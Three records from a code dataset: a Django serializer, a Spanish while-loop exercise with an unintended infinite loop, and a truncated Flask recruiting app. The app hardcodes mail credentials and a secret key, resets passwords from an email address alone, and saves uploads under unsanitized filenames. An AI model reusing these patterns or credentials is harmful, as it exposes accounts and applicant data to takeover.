+{"seq_id":"41681205032","text":"from .models import Person\nfrom rest_framework import serializers\n\n\nclass PersonSerializer(serializers.HyperlinkedModelSerializer):\n    \"\"\"Класс для сериализации модели персоны\"\"\"\n    booking = serializers.HyperlinkedRelatedField(\n        many=True, view_name='booking-detail', read_only=True)\n\n    class Meta:\n        model = Person\n        fields = ('username', 'email', 'first_name', 'patronymic', 'last_name',\n                  'is_staff', 'biography', 'booking')\n","repo_name":"SofiaSh/reservationSystem","sub_path":"persons/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"24256477218","text":"# Aunque recorrer datos es mejor con un For, pero, existe while.\n\n# Pensar cual es la condicion para que el ciclo quiebre y termine\n\ni = 0\n\nwhile i < 5:  # ciclo que se ejecuta siempre que 'i' sea menor que 5\n    i += 1\n    print(i)\n\nj = 1  # ciclo que se ejecuta siempre que 'j' sea menor o igual a 5\nwhile j <= 5:\n    print(j)  # 1\n\n\nj += 1  # aumentando el valor de i como iterador\nwhile True:\n    print(\"Imprime hasta que\")\n    break  # terminar el ciclo con break\n","repo_name":"IsauraCG/M3_Ejercicios","sub_path":"M3_S7_Ciclos_For While Funciones/ciclo_while.py","file_name":"ciclo_while.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"19980455857","text":"from Modelo import SumaTotal\nfrom flask import Flask, render_template, request, json, url_for, redirect,send_from_directory,  g, session \nfrom flaskext.mysql import MySQL\nimport Modelo as Modelo\nimport os\nfrom PyPDF2 import PdfFileReader\nfrom pathlib import Path\nfrom flask_mail import Mail, Message\nimport smtplib\nimport time\nimport re\nimport PyPDF2\nimport sentimientos as sentimientos\nfrom datetime import date\nfrom datetime import datetime\n\nmail = Mail()\n\napp = Flask(__name__)\n\napp.config['UPLOAD_PATH'] = './static/uploads'\napp.config['UPLOAD_EXTENSIONS'] = ['.pdf']\napp.config['MAIL_SERVER'] = 'SMTP.gmail.com'\napp.config['MAIL_PORT'] = 587\napp.config['MAIL_USERNAME'] = 'njrecruite902@gmail.com'\napp.config['MAIL_PASSWORD'] = 'njrecruite_2020*'\napp.config['MAIL_USE_SSL']= False\napp.config['MAIL_USE_TLS']= True\napp.secret_key = 'super secret key'\napp.config['SESSION_TYPE'] = 'filesystem'\n\nmail.init_app(app)\n\n@app.before_request\ndef before_request():\n   g.user = None\n   if 'user' in session:\n      g.user = Modelo.buscarU(session['user'])\n\n@app.route(\"/edit\",methods=['POST','GET'])\ndef vacante():\n    try:\n        _id = request.args.get('id')\n        consulta = Modelo.Editpost(_id)\n        nombre1 = session['user']\n        Modelo.eventosinsertvac(nombre1)\n        return render_template(\"Vacante.html\", postulantes=consulta)\n    except:\n        return redirect(url_for('errorr')) \n\n@app.route(\"/re\",methods=['POST','GET'])\ndef vac():\n    try:\n        _vacante = request.form.get('Empleo')\n        consulta = Modelo.insvacante(_vacante)\n        if consulta == True:\n            return redirect(url_for('dassh'))\n    except:\n        print(\"error\")\n\n@app.route(\"/vacante\")\ndef insvac():\n    try:\n            return render_template('F_Vacante.html')\n    except:\n        return redirect(url_for('errorr')) \n\n@app.route(\"/editar\",methods=['POST','GET'])\ndef postedit():\n    try:\n        \n        _nm = request.form.get('nm')\n        _id = request.form.get('iddd')\n        _vac = request.form.get('vacante')\n        _edad = request.form.get('edad')\n        _dir = request.form.get('dir')\n        _lic = request.form.get('lic')\n        _uni = request.form.get('uni')\n        _prom = request.form.get('prom')\n        _idio = request.form.get('idio')\n        _email = request.form.get('email')\n        _tele = request.form.get('tele')\n        _cur = request.form.get('cur')\n        _exp = request.form.get('exp')\n        _apt = request.form.get('apt')\n        _bool = Modelo.actualizarPostulante3(_id,_nm, _email, _edad, _dir, _lic, _uni, _prom, _idio, _exp, _cur, _tele, _apt, session['vacante'])\n        if _bool == True:\n            nombre1 = session['user']\n            Modelo.eventosv(nombre1)\n            return redirect(url_for('selectA'))           \n\n        if _bool == False:\n           return redirect(url_for('errorr')) \n    except:\n       return redirect(url_for('errorr'))\n\n@app.route(\"/editar2\",methods=['POST','GET'])\ndef postedit2():\n    try:\n        \n        _nm = request.form.get('nm')\n        _id = request.form.get('iddd')\n        _vac = request.form.get('vacante')\n        _edad = request.form.get('edad')\n        _dir = request.form.get('dir')\n        _lic = request.form.get('lic')\n        _uni = request.form.get('uni')\n        _prom = request.form.get('prom')\n        _idio = request.form.get('idio')\n        _email = request.form.get('email')\n        _tele = request.form.get('tele')\n        _cur = request.form.get('cur')\n        _exp = request.form.get('exp')\n        _apt = request.form.get('apt')\n        _bool = Modelo.actualizarPostulante3(_id,_nm, _email, _edad, _dir, _lic, _uni, _prom, _idio, _exp, _cur, _tele, _apt, session['vacante'])\n        if _bool == True:\n            nombre1 = session['user']\n            Modelo.eventosv(nombre1)\n            return redirect(url_for('selectB'))           \n\n        if _bool == False:\n           return redirect(url_for('errorr')) \n    except:\n       return redirect(url_for('errorr'))\n\n@app.route(\"/editar3\",methods=['POST','GET'])\ndef postedit3():\n    try:\n        \n        _nm = request.form.get('nm')\n        _id = request.form.get('iddd')\n        _vac = request.form.get('vacante')\n        _edad = request.form.get('edad')\n        _dir = request.form.get('dir')\n        _lic = request.form.get('lic')\n        _uni = request.form.get('uni')\n        _prom = request.form.get('prom')\n        _idio = request.form.get('idio')\n        _email = request.form.get('email')\n        _tele = request.form.get('tele')\n        _cur = request.form.get('cur')\n        _exp = request.form.get('exp')\n        _apt = request.form.get('apt')\n        _bool = Modelo.actualizarPostulante3(_id,_nm, _email, _edad, _dir, _lic, _uni, _prom, _idio, _exp, _cur, _tele, _apt, session['vacante'])\n        if _bool == True:\n            nombre1 = session['user']\n            Modelo.eventosv(nombre1)\n            return redirect(url_for('selectC'))           \n\n        if _bool == False:\n           return redirect(url_for('errorr')) \n    except:\n       return redirect(url_for('errorr'))\n\n@app.route(\"/a\", methods=['POST'])\ndef indexx():\n    try:\n        _t=request.form.get('time')\n        _p = request.form.get('correo1')\n        if g.user:\n            session.pop('vacante', None)\n            session.pop('time', None)\n            session['vacante'] = _p\n            session['time'] = _t\n            consulta = Modelo.SelectAll(_p)\n            consulta2 = Modelo.VacTotal(_p)\n            return render_template(\"Postulantes.html\", postulantes=consulta, time=_t, SumaTotal=consulta2)\n        else:\n            session.pop('vacante', None)\n            session.pop('time', None)\n            session['time'] = _t\n            consulta = Modelo.SelectAll(_p)\n            consulta2 = Modelo.VacTotal(_p)\n            return render_template(\"Postulantes.html\", postulantes=consulta, time=_t, SumaTotal=consulta2)\n\n    except:\n        return redirect(url_for('errorr')) \n\n@app.route(\"/dashh\")\ndef dashh():\n    try:\n        return redirect(url_for('dassh'))\n    except:\n        \n        return redirect(url_for('errorr')) \n\n@app.route(\"/dash\")\ndef dassh():\n    try:\n        consulta = Modelo.Dash()\n        SumaTotal = Modelo.SumaTotal()\n        consulta2 = Modelo.Ranking()\n        consulta3 = Modelo.Goal()\n        consulta4 = Modelo.UserSession(session['user'])\n        nombre10 = session['user']\n        ses= Modelo.sesiones(nombre10)\n        print(SumaTotal)\n\n\n        now = date.today()\n        i = -1\n        while True:\n            i = i + 1\n            if(consulta2[i][5] == session['user']):\n                break\n        \n        i = i + 1\n        print(i)\n        Resta = str(consulta3[0][2] - now)\n        tiempo = \"¡Quedan \"+Resta[:3]+\"días para que concluya la meta, te encuentras en el \"+str(i)+\"° puesto!\"\n        if consulta3[0][2] <= now and consulta2[0][5] == session['user'] and consulta4[0][6] != \"Skip\":\n            return render_template(\"DashVacantes.html\", Dassh=consulta, Ranking=consulta2, Goal=consulta3, estatus=\"cerrada\", tiempo= \"¡El tiempo de la meta se ha concluido, terminaste en el \"+ str(i) +\"° puesto!\", SumaTotal=SumaTotal, sess=ses)\n        if consulta3[0][2] <= now and consulta2[0][5] != session['user'] and consulta4[0][6] != \"Skip\":\n            return render_template(\"DashVacantes.html\", Dassh=consulta, Ranking=consulta2, Goal=consulta3, estatus=\"cerradanoprimero\", tiempo= \"¡El tiempo de la meta se ha concluido, terminaste en el \"+ str(i) +\"�� puesto!\", SumaTotal=SumaTotal, sess=ses) \n        if consulta3[0][2] <= now and consulta2[0][5] == session['user'] and consulta4[0][6] == \"Skip\":\n            return render_template(\"DashVacantes.html\", Dassh=consulta, Ranking=consulta2, Goal=consulta3, estatus=\"Skip\", tiempo= \"¡El tiempo de la meta se ha concluido, terminaste en el \"+ str(i) +\"° puesto!\", SumaTotal=SumaTotal, sess=ses)\n        if consulta3[0][2] <= now and consulta2[0][5] != session['user'] and consulta4[0][6] == \"Skip\":\n            return render_template(\"DashVacantes.html\", Dassh=consulta, Ranking=consulta2, Goal=consulta3, estatus=\"Skip\", tiempo= \"¡El tiempo de la meta se ha concluido, terminaste en el \"+ str(i) +\"° puesto!\", SumaTotal=SumaTotal, sess=ses)\n        if consulta3[0][2] > now:\n            return render_template(\"DashVacantes.html\", Dassh=consulta, Ranking=consulta2, Goal=consulta3, estatus=\"abierta\", tiempo= tiempo, SumaTotal=SumaTotal, sess=ses)\n    except:\n        \n        return redirect(url_for('errorr')) \n\n@app.route(\"/closevac\", methods=['POST'])\ndef closevac():\n    try:\n        print('Hi!')\n        datos = request.get_json()\n        print(datos)\n        consulta = Modelo.Vacerrada(datos['vacante']) \n        nombre1 = session['user']\n        Modelo.eventoscervac(nombre1)\n        if consulta == True: \n            res=\"La vacante \"+datos['vacante']+\" fue cerrada.\"\n            return res\n        else:\n            return redirect(url_for('errorr')) \n\n        return res\n    except:\n        return redirect(url_for('errorr')) \n\n@app.route(\"/openvac\", methods=['POST'])\ndef openvac():\n    try:\n        print('Hi!')\n        datos = request.get_json()\n        print(datos)\n        consulta = Modelo.Vabierta(datos['vacante']) \n        nombre1 = session['user']\n        Modelo.eventosabrvac(nombre1)\n        if consulta == True: \n            res=\"La vacante \"+datos['vacante']+\" fue abierta.\"\n            return res\n        else:\n            return redirect(url_for('errorr')) \n\n        return res\n    except:\n        return redirect(url_for('errorr')) \n\n\n@app.route(\"/editvac\", methods=['POST'])\ndef editvac():\n    try:\n        if 'user' in session:\n            nombre1 = session['user']\n            Modelo.eventosedivac(nombre1)\n        \n            print('Hiiii!')\n            datos = request.get_json()\n            print(datos)\n            consulta = Modelo.Editvac(datos['vacante'], datos['Id']) \n\n\n\n        print(\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaa\")\n        if consulta == True: \n            res=\"La vacante \"+datos['vacante']+\" fue abierta.\"\n            return res\n        else:\n            return redirect(url_for('errorr')) \n\n        return res\n    except:\n        return redirect(url_for('errorr')) \n\n@app.route(\"/editmeta\", methods=['POST'])\ndef editmeta():\n    try:\n        if 'user' in session:\n            nombre1 = session['user']\n        \n            print('Hiiii!')\n            datos = request.get_json()\n            print(datos['plazo'])\n            consulta = Modelo.Editmeta(datos['meta'], datos['plazo'])\n            if consulta == True: \n                res= datos['meta']\n                return res\n        else:\n            return redirect(url_for('errorr')) \n\n        return res\n    except:\n        return redirect(url_for('errorr'))\n         \n\n@app.route('/')\ndef index():\n    return render_template(\"login.html\")\n\n@app.route('/form')\ndef form():\n    return render_template(\"form.html\")\n\n@app.route('/login',methods=['GET','POST'])\ndef lo():\n    try:\n        if g.user:\n            session.pop('user', None)\n\n        if request.method=='POST':\n            session.pop('user', None)\n            user = request.form['correoL']\n            _contrasenaL = request.form['contrasenaL']\n            _bool=Modelo.validar(user, _contrasenaL)\n            session['user'] = user\n   \n        if _bool == True:\n            session['user'] = user\n            Modelo.eventos(user, 'login', 'se logeo el usuario')\n            return redirect(url_for('dassh'))\n            \n\n        if _bool == False:\n            session['user'] = user\n            Modelo.eventos(user, 'Error al logear', 'error al intentar logearse')\n            return render_template('login.html', alert='Tu contraseña o usuario es incorrecto') \n    except:\n        Modelo.eventos(session['user'], 'Error al logear', 'error al intentar logearse')\n        return redirect(url_for('Login')) \n            \n    finally:\n            print(\"Lets go!\")\n\n\n\n@app.route('/log')\ndef Login():\n    return render_template('login.html', alert='Tu contraseña o usuario es incorrecto')\n    \n\n@app.route('/s')\ndef s():\n    return render_template(\"signup.html\")\n\n@app.route('/signup',methods=['GET','POST'])\ndef sig():\n    \n    try:\n        \n        x=0\n        for key, value in request.form.items():\n            print(\"key: {0}, value: {1}\".format(key, value))\n            if x==0:\n                 _nombre = \"{0}\".format(value)\n                 \n            elif x==1:\n                 _apellido = \"{0}\".format(value)\n\n            elif x==2:\n                 _correo = \"{0}\".format(value)\n\n            elif x==3:\n                 _celular = \"{0}\".format(value)\n\n            elif x==4:\n                 _contraseña = \"{0}\".format(value)\n            print (\"ciclo\"+ str(x))\n            x=x+1   \n        if _nombre and _apellido and _correo and _celular and _contraseña:\n            _bool = Modelo.insertaruser(_nombre, _apellido, _correo, _celular, _contraseña)\n\n        if _bool == True:\n            return redirect(url_for('index'))          \n        if _bool == False:\n            return redirect(url_for('errorr')) \n            \n        else:\n            return redirect(url_for('errorr')) \n\n    except:\n            return redirect(url_for('errorr')) \n    finally:\n            print(\"Lets go!\")\n\n\n@app.route(\"/g\",methods=['POST','GET'])\ndef correo():\n     _p = request.args.get('correo')\n     _s = request.args.get('salario')\n     _f = request.args.get('fecha')\n     if _p:\n         post= _p.strip()\n         _bool = Modelo.actualizarPostulante(post, session['vacante'], session['user'], _s, _f)\n         print(post)\n         if _bool == True:\n             msg = Message('Reclutamiento', sender= app.config['MAIL_USERNAME'], recipients = [_p])\n             msg.body = \"Estimado candidato, agradecemos su interes, usted podra continuar con el proceso de selección. Ofrecemos prestaciones e ley, un sueldo de $\"+_s+\" mensuales y estaría firmando el contrato el día \"+_f+\".\"\n             mail.send(msg)\n             nombre1 = session['user']\n             Modelo.eventosAC(nombre1)\n             return redirect(url_for('selectB'))\n         if _bool == False:\n             return redirect(url_for('errorr')) \n\n@app.route(\"/ga\",methods=['POST','GET'])\ndef correog():\n     _p = request.args.get('correo')\n     _s = request.args.get('salario')\n     _f = request.args.get('fecha')\n     if _p:\n         post= _p.strip()\n         _bool = Modelo.actualizarPostulante1(post, session['vacante'], session['user'], _s, _f)\n         print(post)\n         if _bool == True:\n             msg = Message('Reclutamiento', sender= app.config['MAIL_USERNAME'], recipients = [_p])\n             msg.body = \"Estimado candidato, agradecemos su interes, usted podra continuar con el proceso de selección. Ofrecemos prestaciones e ley, un sueldo de $\"+_s+\" mensuales y estaría firmando el contrato el día \"+_f+\".\"\n             mail.send(msg)\n             nombre1 = session['user']\n             Modelo.eventosAC(nombre1)\n             return redirect(url_for('selectB'))\n         if _bool == False:\n             print(\"aaaaaaaa\")\n             return redirect(url_for('errorr')) \n            \n      \n@app.route(\"/d\",methods=['POST','GET'])\ndef detalles():\n     _p = request.args.get('correo')\n     _j = request.args.get('just')\n     if _p:\n         post= _p.strip()        \n         _bool = Modelo.actualizarPostulante2(_p, session['vacante'], session['user'], _j)\n         print(post)\n         if _bool == True:\n             msg = Message('Reclutamiento', sender= app.config['MAIL_USERNAME'], recipients = [_p])\n             msg.body = \"Estimado candidato, agredecemos su interes pero no fue seleccionado para seguir con el proceso, debido a que \"+_j+\".\"\n             mail.send(msg)\n             nombre1 = session['user']\n             Modelo.eventosRE(nombre1)\n             return redirect(url_for('selectC'))\n             \n         if _bool == False:\n             return redirect(url_for('errorr')) \n            \n@app.route(\"/dr\",methods=['POST','GET'])\ndef detallesdr():\n     _p = request.args.get('correo')\n     _j = request.args.get('just')\n     if _p:\n         post= _p.strip()        \n         _bool = Modelo.actualizarPostulante4(_p, session['vacante'], session['user'], _j)\n         print(post)\n         if _bool == True:\n             msg = Message('Reclutamiento', sender= app.config['MAIL_USERNAME'], recipients = [_p])\n             msg.body = \"Estimado candidato, agredecemos su interes pero no fue seleccionado para seguir con el proceso, debido a que \"+_j+\".\"\n             mail.send(msg)\n             nombre1 = session['user']\n             Modelo.eventosRE(nombre1)\n             return redirect(url_for('selectC'))\n             \n         if _bool == False:\n             return redirect(url_for('errorr')) \n    \n\n@app.route(\"/selectA\")\ndef selectA():\n    try:\n        consulta = Modelo.SelectAll(session['vacante'])\n        nombre1 = session['user']\n        consulta2 = Modelo.VacTotal(session['vacante'])\n        return render_template(\"Postulantes.html\", postulantes=consulta, time=session['time'], SumaTotal=consulta2)\n    except:\n        return redirect(url_for('errorr')) \n\n@app.route(\"/selectB\")\ndef selectB():\n    try:\n        consulta = Modelo.SelectB(session['vacante'])\n        nombre1 = session['user']\n        consulta2 = Modelo.VacTotal(session['vacante'])\n        return render_template(\"Postulantes2.html\", postulantes=consulta, time=session['time'], SumaTotal=consulta2)\n    except:\n        return redirect(url_for('errorr')) \n\n@app.route(\"/selectC\")\ndef selectC():\n    try:\n        consulta = Modelo.SelectC(session['vacante'])\n        nombre1 = session['user']\n        consulta2 = Modelo.VacTotal(session['vacante'])\n        return render_template(\"Postulantes3.html\", postulantes=consulta, time=session['time'], SumaTotal=consulta2)\n    except:\n        return redirect(url_for('errorr')) \n\n@app.route(\"/Recuperacion\")\ndef recuperacion():\n    try:\n        return render_template(\"olvide.html\")\n    except:\n        return redirect(url_for('errorr')) \n\n@app.route(\"/Recuperar\",methods=['POST','GET'])\ndef Recuperar():\n    try:\n        _c = request.args.get('Correo')\n        if _c:\n            return Modelo.Olvidar(_c)\n    except:\n        return redirect(url_for('errorr')) \n\n@app.route(\"/olvide\",methods=['POST','GET'])\ndef Olvide():\n    try: \n        _o = request.args.get('o')\n        if _o:\n            msg = Message('Reclutamiento', sender= app.config['MAIL_USERNAME'], recipients = [_o])\n            msg.body = \"Por favor ingrese al siguiente link para recuperar su contraseña: http://127.0.0.1:5000/Recupere?correo=\"+_o\n            mail.send(msg)\n            return render_template(\"Revisar.html\")\n    except:\n        return redirect(url_for('errorr')) \n\n@app.route(\"/Recupere\",methods=['POST','GET'])\ndef Recupere():\n    try:\n        _c = request.args.get('correo')\n        if _c:\n            consulta = Modelo.Recupere(_c)\n            return render_template(\"Recuperar.html\", users=consulta)\n    except:\n        return redirect(url_for('errorr')) \n\n@app.route(\"/Recuperada\",methods=['POST','GET'])\ndef Recuperada():\n    try:\n        _c = request.args.get('correo')\n        _contra = request.args.get('contra')\n        if _c and _contra:\n            return Modelo.Recuperada(_c, _contra)\n    except:\n        return redirect(url_for('errorr')) \n\n###PARA LOS COMENTARIOS DE LOS RECLUTADORES SOBRE LOS POSTULANTES\n@app.route('/coments',methods=['GET','POST'])\ndef comentaa():\n    \n    try:\n         _com = request.form.get('com')\n         _comn = request.form.get('comn')\n\n         if _com and _comn:\n             if len(_com)>5:\n                 _bool = Modelo.com(_com, _comn, session['user'], session['vacante'])\n                 (axx, w) = sentimientos.cogn(_com)\n                 _bool2 = Modelo.cog(axx, w ,_comn)\n                 nombre1 = session['user']\n                 Modelo.eventoscom(nombre1)\n                 if _bool == True:\n                     return redirect(url_for('selectA')) \n                 if _bool == False:\n                     return redirect(url_for('errorr')) \n             else:\n                return redirect(url_for('errorr'))          \n    except:\n            return redirect(url_for('errorr')) \n    finally:\n            print(\"Lets go!\")\n\n\n@app.route('/comentss',methods=['GET','POST'])\ndef comentss():\n    \n    try:\n         _com = request.form.get('com')\n         _comn = request.form.get('comn')\n\n         if _com and _comn:\n             if len(_com)>5:\n                 _bool = Modelo.comn(_com, _comn, session['user'], session['vacante'])\n                 (axx, w) = sentimientos.cogn(_com)\n                 _bool2 = Modelo.cog(axx, w ,_comn)\n                 nombre1 = session['user']\n                 Modelo.eventoscom(nombre1)\n                 if _bool == True:\n                     return redirect(url_for('selectA')) \n                 if _bool == False:\n                     return redirect(url_for('errorr')) \n             else:\n                return redirect(url_for('errorr'))          \n    except:\n            return redirect(url_for('errorr')) \n    finally:\n            print(\"Lets go!\")\n\n\n#PARA HACER LA FORMA DEL POSTULANTE\n\n@app.route(\"/formtexto\")\ndef formadetexto():\n    try:\n        nombre1 = session['user']\n        Modelo.eventoserror(nombre1)\n        return render_template(\"FormaTexto.html\")\n    except:\n        return redirect(url_for('errorr')) \n\n\n@app.route('/formatexto',methods=['GET','POST'])\ndef formatexto():\n    try:\n        x=0\n        for key, value in request.form.items():\n            print(\"key: {0}, value: {1}\".format(key, value))\n            if x==0:\n                 _nom = \"{0}\".format(value)\n                 \n            elif x==1:\n                 _cor = \"{0}\".format(value)\n\n            elif x==2:\n                 _eda = \"{0}\".format(value)\n\n            elif x==3:\n                 _dir = \"{0}\".format(value)\n\n            elif x==4:\n                 _car = \"{0}\".format(value)\n\n            elif x==5:\n                 _esc = \"{0}\".format(value)\n\n            elif x==6:\n                 _pro = \"{0}\".format(value)\n\n            elif x==7:\n                 _idi = \"{0}\".format(value)\n\n            elif x==8:\n                 _exp = \"{0}\".format(value)\n\n            elif x==9:\n                 _cur = \"{0}\".format(value)\n\n            elif x==10:\n                 _cel = \"{0}\".format(value)\n                 \n            elif x==11:\n                 _apt = \"{0}\".format(value)\n           \n            elif x==12:\n                 _vac = \"{0}\".format(value)\n            elif x==13:\n                 _cv = \"{0}\".format(value)\n\n            print (\"ciclo\"+ str(x))\n            x=x+1\n          \n   \n          \n        if _nom and _cor and _eda and _dir and _car and _esc and _pro and _idi and _exp and _cur and _cel and _apt:\n            _bool=Modelo.insertarpostext(_nom, _cor, _eda, _dir, _car, _esc, _pro, _idi, _exp, _cur, _cel, _apt, _vac, _cv)\n            if _bool == True:\n                return redirect(url_for('Gracias'))\n            if _bool == False:\n                return redirect(url_for('errorr')) \n        else:\n            return redirect(url_for('errorr')) \n\n    except:\n            return redirect(url_for('errorr')) \n    finally:\n            print(\"Lets go!\")\n\n@app.route(\"/formulario\")\ndef formulario():\n    try:\n        return render_template(\"FormaTexto.html\")\n    except:\n        return redirect(url_for('errorr')) \n\n@app.route(\"/download\", methods=['GET','POST'])\ndef download():\n    try:\n        _a = request.args.get('archivo')\n        return _a.open(os.path.join(app.config['UPLOAD_PATH/'+_a]))\n    except:\n        return redirect(url_for('errorr')) \n\n@app.route(\"/Gracias\")\ndef Gracias():\n    try:\n        return render_template(\"Gracias.html\")\n    except:\n        return redirect(url_for('errorr')) \n\n@app.route(\"/errorr\")\ndef errorr():\n    try:\n        return render_template(\"Error.html\")\n    except:\n        return redirect(url_for('errorr')) \n\n@app.route(\"/Ranking\")\ndef Ranking():\n    try:\n        Ranking=Modelo.Ranking()\n        Ranking2=Modelo.Ranking2()\n        Goal=Modelo.Goal()\n        print(Goal)\n        return render_template(\"RankingPost.html\", Ranking=Ranking, Ranking2=Ranking2, Meta=\"TACOS\", Goal=Goal)\n    except:\n        return redirect(url_for('errorr')) \n\n@app.route(\"/skip\")\ndef Skip():\n    try:\n        Skip=Modelo.UserSkip(session['user'])\n        if Skip == True:\n            return redirect(url_for('Ranking'))\n        if Skip == False:\n            return redirect(url_for('errorr'))\n    except:\n        return redirect(url_for('errorr')) \n\n@app.route(\"/skipp\", methods=['POST'])\ndef Skipp():\n    try:\n        print(\"entro skip\")\n        datos = request.get_json()\n        print(datos)\n        Modelo.UserSkip(session['user'])\n        return datos\n    except:\n        return redirect(url_for('errorr')) \n\n@app.route(\"/sumsession\", methods=['POST'])\ndef sumsession():\n    try:\n        print(\"entro sumsession\")\n        datos = request.get_json()\n        print(datos)\n        Modelo.Sumsession(session['user'])\n        return datos\n    except:\n        return redirect(url_for('errorr')) \n\n\n@app.route(\"/f\",methods=['GET', 'POST'])\ndef archivo():\n    try:\n        if request.method == 'POST':\n            _a=request.files['Archivo']\n            _nomarchivo=_a.filename\n            print(_nomarchivo)\n            if guardarArchivo(_a):\n               print(\"Si se guardo!\")\n               _datos=extraerDatos(_a.filename)\n               _encontrados=ParseoTexto(_datos)\n               _encontrados2=ParseoTexto2(_datos)\n               if _encontrados:\n                   _vac = request.form.get('vac')\n                   Modelo.Insertarpostulante(_encontrados, _vac, _nomarchivo)\n                   return render_template('Gracias.html')\n               elif _encontrados2: \n                    _vac = request.form.get('vac')                 \n                    Modelo.Insertarpostulante(_encontrados2, _vac,_nomarchivo)\n                    return render_template('Gracias.html')\n               else:\n                   _encontrados3=ParseoForm2(_datos)\n                   _encontrados33=ParseoForm22(_datos)\n                   if _encontrados3:\n                       _encontrados3=_encontrados3[0]\n                   elif _encontrados33:\n                       _encontrados3=_encontrados33[0]\n                   else:\n                       _encontrados3=' '\n\n                   _encontrados4=ParseoForm3(_datos)\n                   _encontrados44=ParseoForm33(_datos)\n                   if _encontrados4:\n                       _encontrados4=_encontrados4[0]\n                   elif _encontrados44:\n                       _encontrados4=_encontrados44[0]\n                   else:\n                       _encontrados4=' '\n\n                   print(_encontrados4.replace(' ',''))\n\n                   _encontrados5=ParseoForm4(_datos)\n                   _encontrados55=ParseoForm44(_datos)\n                   if _encontrados5:\n                       _encontrados5=_encontrados5[0]\n                   elif _encontrados55:\n                       _encontrados5=_encontrados55[0]\n                   else:\n                       _encontrados5=' '\n\n                   _encontrados6=ParseoForm5(_datos)\n                   _encontrados66=ParseoForm55(_datos)\n                   if _encontrados6:\n                       _encontrados6=_encontrados6[0]\n                   elif _encontrados66:\n                       _encontrados6=_encontrados66[0]\n                   else:\n                       _encontrados6=' '\n\n                   _encontrados7=ParseoForm6(_datos)\n                   _encontrados77=ParseoForm66(_datos)\n                   if _encontrados7:\n                       _encontrados7=_encontrados7[0]\n                   elif _encontrados77:\n                       _encontrados7=_encontrados77[0]\n                   else:\n                       _encontrados7=' '\n\n                   _encontrados8=ParseoForm7(_datos)\n                   _encontrados88=ParseoForm77(_datos)\n                   if _encontrados8:\n                       _encontrados8=_encontrados8[0]\n                   elif _encontrados88:\n                       _encontrados8=_encontrados88[0]\n                   else:\n                       _encontrados8=' '\n\n                   _encontrados9=ParseoForm8(_datos)\n                   _encontrados99=ParseoForm88(_datos)\n                   if _encontrados9:\n                       _encontrados9=_encontrados9[0]\n                   elif _encontrados99:\n                       _encontrados9=_encontrados99[0]\n                   else:\n                       _encontrados9=' '\n\n                   _encontrados10=ParseoForm9(_datos)\n                   _encontrados100=ParseoForm99(_datos)\n                   if _encontrados10:\n                       _encontrados10=_encontrados10[0]\n                   elif _encontrados100:\n                       _encontrados10=_encontrados100[0]\n                   else:\n                       _encontrados10=' '\n                       \n                   _encontrados11=ParseoForm10(_datos)\n                   _encontrados111=ParseoForm100(_datos)\n                   if _encontrados11:\n                       _encontrados11=_encontrados11[0]\n                   elif _encontrados111:\n                       _encontrados11=_encontrados111[0]\n                   else: \n                       _encontrados11=' '\n\n                   _encontrados12=ParseoForm11(_datos)\n                   _encontrados122=ParseoForm111(_datos)\n                   if _encontrados12:\n                       _encontrados12=_encontrados12[0]\n                   elif _encontrados122:\n                       _encontrados12=_encontrados122[0]\n                   else:\n                       _encontrados12='55'\n\n                   print(_encontrados12.replace(' ',''))\n\n                   \n                   _name=request.form['name']\n                   _vac=request.form['vac']\n                   _pdf=Modelo.Eventocv(_nomarchivo)\n                   return render_template('form2.html', pdfs=_pdf, name=_name, correo=_encontrados3, edad=int(_encontrados4), dir=_encontrados5, lic=_encontrados6, esc=_encontrados7, prom=_encontrados8, idi=_encontrados9, exp=_encontrados10, cur=_encontrados11, cel= int(_encontrados12.replace('  ','')), vac=_vac)\n            else:\n                _openvacante=Modelo.openvacante()\n                return render_template('form.html', openvacantes=_openvacante, alert='Tu archivo no es PDF')\n\n    except:\n        print(\"aaaaaaa\")\n        return redirect(url_for('errorr')) \n    _openvacante=Modelo.openvacante()\n    return render_template('form.html', openvacantes=_openvacante, alert='')\n\n               \n\ndef extraerDatos(_nombrearchivo):\n    pdf_reader=PdfFileReader(os.path.join(app.config['UPLOAD_PATH'], _nombrearchivo))\n    output_file_path= Path.cwd() / \"TextoParaParseo.txt\"\n    with output_file_path.open(mode=\"w\") as output_file:\n        title = pdf_reader.documentInfo.title\n        num_pages = pdf_reader.getNumPages()\n        output_file.write(f\"{title}\\\\nNumber of pages: {num_pages}\\\\n\\\\n\")\n        for page in pdf_reader.pages:\n            text=page.extractText()\n            output_file.write(text)\n    time.sleep(3)\n    _textoaparsear=open('TextoParaParseo.txt', 'r')  \n    _contenido=_textoaparsear.read()\n    print(\"Contenido \",_contenido)\n    return _contenido\n\ndef guardarArchivo(_archivo):\n    if _archivo.filename != '':\n        file_ext=os.path.splitext(_archivo.filename)[1]\n        if file_ext not in app.config['UPLOAD_EXTENSIONS']:\n            return False\n        _archivo.save(os.path.join(app.config['UPLOAD_PATH'], _archivo.filename))\n        return True\n    \n\n\ndef ParseoTexto(_texto):\n    _patron = 